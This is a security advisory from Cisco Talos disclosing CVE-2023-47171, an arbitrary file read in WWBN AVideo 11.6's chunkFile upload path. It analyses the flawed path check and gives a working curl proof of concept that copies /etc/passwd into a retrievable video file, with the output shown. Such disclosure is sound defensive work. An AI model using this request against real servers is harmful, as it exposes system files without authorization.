Talos Vulnerability Report

TALOS-2023-1869

WWBN AVideo aVideoEncoder.json.php chunkFile path information disclosure vulnerability

January 10, 2024
CVE Number

CVE-2023-47171

SUMMARY

An information disclosure vulnerability exists in the aVideoEncoder.json.php chunkFile path functionality of WWBN AVideo 11.6 and dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary file read.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

WWBN AVideo 11.6
WWBN AVideo dev master commit 15fed957fb

PRODUCT URLS

AVideo - https://github.com/WWBN/AVideo

CVSSv3 SCORE

6.5 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-73 - External Control of File Name or Path

DETAILS

AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.

The objects/aVideoEncoder.json.php file can be used to add new videos. This functionality does not need special configuration to be used. However, the user performing the request needs permission to upload videos.

A downloadURL can be specified for AVideo to fetch URL content and add it as a video. Alternatively, a user can supply a file directly via chunkFile:

    ...
[1] if (empty($_FILES['video']['tmp_name']) && isValidURLOrPath($_REQUEST['chunkFile'])) {
[2]     $_FILES['video']['tmp_name'] = $_REQUEST['chunkFile'];
    }

    // get video file from encoder
    if (!empty($_FILES['video']['tmp_name'])) {
        ...
        _error_log("aVideoEncoder.json: receiving video upload to {$filename} filesize=" . ($fsize) . " (" . humanFileSize($fsize) . ")" . json_encode($_FILES));
[3]     $destinationFile = decideMoveUploadedToVideos($_FILES['video']['tmp_name'], $filename);
    ...

At [1], the chunkFile parameter is read and its validity is checked using isValidURLOrPath().
If valid, chunkFile sets tmp_name [2], which is later passed to decideMoveUploadedToVideos() [3].

    function isValidURLOrPath($str, $insideCacheOrTmpDirOnly = true)
    {
        ...
[4]     if (str_starts_with($str, '/') || str_starts_with($str, '../') || preg_match("/^[a-z]:.*/i", $str)) {
            if ($insideCacheOrTmpDirOnly) {
                $absolutePath = realpath($str);
                $absolutePathTmp = realpath(getTmpDir());
                $absolutePathCache = realpath(getCacheDir());
                $ext = mb_strtolower(pathinfo($absolutePath, PATHINFO_EXTENSION));
[7]             if ($ext == 'php') {
                    _error_log('isValidURLOrPath return false (is php file) ' . $str);
                    return false;
                }

                $pathsToCheck = [$absolutePath, $str];

                foreach ($pathsToCheck as $value) {
                    if (
                        str_starts_with($value, $absolutePathTmp) ||
                        str_starts_with($value, '/var/www/') ||
[6]                     str_starts_with($value, $absolutePathCache) ||
                        str_starts_with($value, $global['systemRootPath']) ||
                        str_starts_with($value, getVideosDir())
                    ) {
[5]                     return true;
                    }
                }
                ...

This function checks if $str is a valid URL or path. For this advisory, we’re interested in the path check at [4]. We can see that we can reach the return true command simply by having a $str starting with “/var/www/” [6]. After that, anything is valid as long as the path doesn’t have a “.php” extension [7].

    function decideMoveUploadedToVideos($tmp_name, $filename, $type = "video")
    {
        if ($filename == '.zip') {
            return false;
        }
        global $global;
        $obj = new stdClass();
        $aws_s3 = AVideoPlugin::loadPluginIfEnabled('AWS_S3');
        $bb_b2 = AVideoPlugin::loadPluginIfEnabled('Blackblaze_B2');
        $ftp = AVideoPlugin::loadPluginIfEnabled('FTP_Storage');
        $paths = Video::getPaths($filename, true);
        $destinationFile = "{$paths['path']}{$filename}";
        _error_log("decideMoveUploadedToVideos: {$filename}");
        $path_info = pathinfo($filename);
        if ($type !== "zip" && $path_info['extension'] === 'zip') {
            ...
[8]     } else {
            _error_log("decideMoveUploadedToVideos: NOT ZIp file {$filename}");
            if (!empty($aws_s3)) {
                _error_log("decideMoveUploadedToVideos: S3 {$filename}");
                $aws_s3->move_uploaded_file($tmp_name, $filename);
            } elseif (!empty($bb_b2)) {
                _error_log("decideMoveUploadedToVideos: B2 {$filename}");
                $bb_b2->move_uploaded_file($tmp_name, $filename);
            } elseif (!empty($ftp)) {
                _error_log("decideMoveUploadedToVideos: FTP {$filename}");
                $ftp->move_uploaded_file($tmp_name, $filename);
            } else {
                _error_log("decideMoveUploadedToVideos: Local {$filename}");
[9]             if (!move_uploaded_file($tmp_name, $destinationFile)) {
                    if (!rename($tmp_name, $destinationFile)) {
                        if (!copy($tmp_name, $destinationFile)) {
                            $obj->msg = "Error on decideMoveUploadedToVideos({$tmp_name}, $destinationFile)";
                            die(json_encode($obj));
                        }
                    }
                }
                if (file_exists($destinationFile)) {
                    _error_log("decideMoveUploadedToVideos: SUCCESS Local {$destinationFile}");
                } else {
                    _error_log("decideMoveUploadedToVideos: ERROR Local {$destinationFile}");
                }
                chmod($destinationFile, 0644);
            }

If the file type is not zip, we enter the block at [8], which moves the file to one of the storage locations.
If no special storage plugin is enabled, the file is moved to the local “videos” directory using move_uploaded_file [9], passing tmp_name as first argument without modifications. This will copy the file specified by chunkFile, controlled by the attacker, to $destinationFile, which is later retrievable with a simple HTTP request. Since chunkFile is allowed to contain . and / characters, an attacker can exploit this issue to read any file in the system (except for .php files) by specifying a chunkFile such as /var/www/../../etc/passwd. This can possibly also lead to privilege escalation.

Exploit Proof of Concept

This proof-of-concept retrieves /etc/passwd:

$ curl -k $'https://localhost/objects/aVideoEncoder.json.php' \
       -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=ligp6etrob5vqu2isa75t1hfnv' \
       --data-raw $'resolution=1&format=gif&chunkFile=/var/www/../../etc/passwd'
{"error":false,"video_id":134,"video_id_hash":"d2VOdVhWaHhPcXE2U1FIaStIelpMUEZTTjBrdWJlcForQm4vMVdkS2xlND0=","releaseDate":null,"releaseTime":null}%

$ curl -k $'https://localhost/videos/_1/_1.gif'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:105::/nonexistent:/usr/sbin/nologin
syslog:x:104:106::/home/syslog:/usr/sbin/nologin
TIMELINE

2023-12-14 - Vendor Disclosure
2023-12-15 - Vendor Patch Release
2024-01-10 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.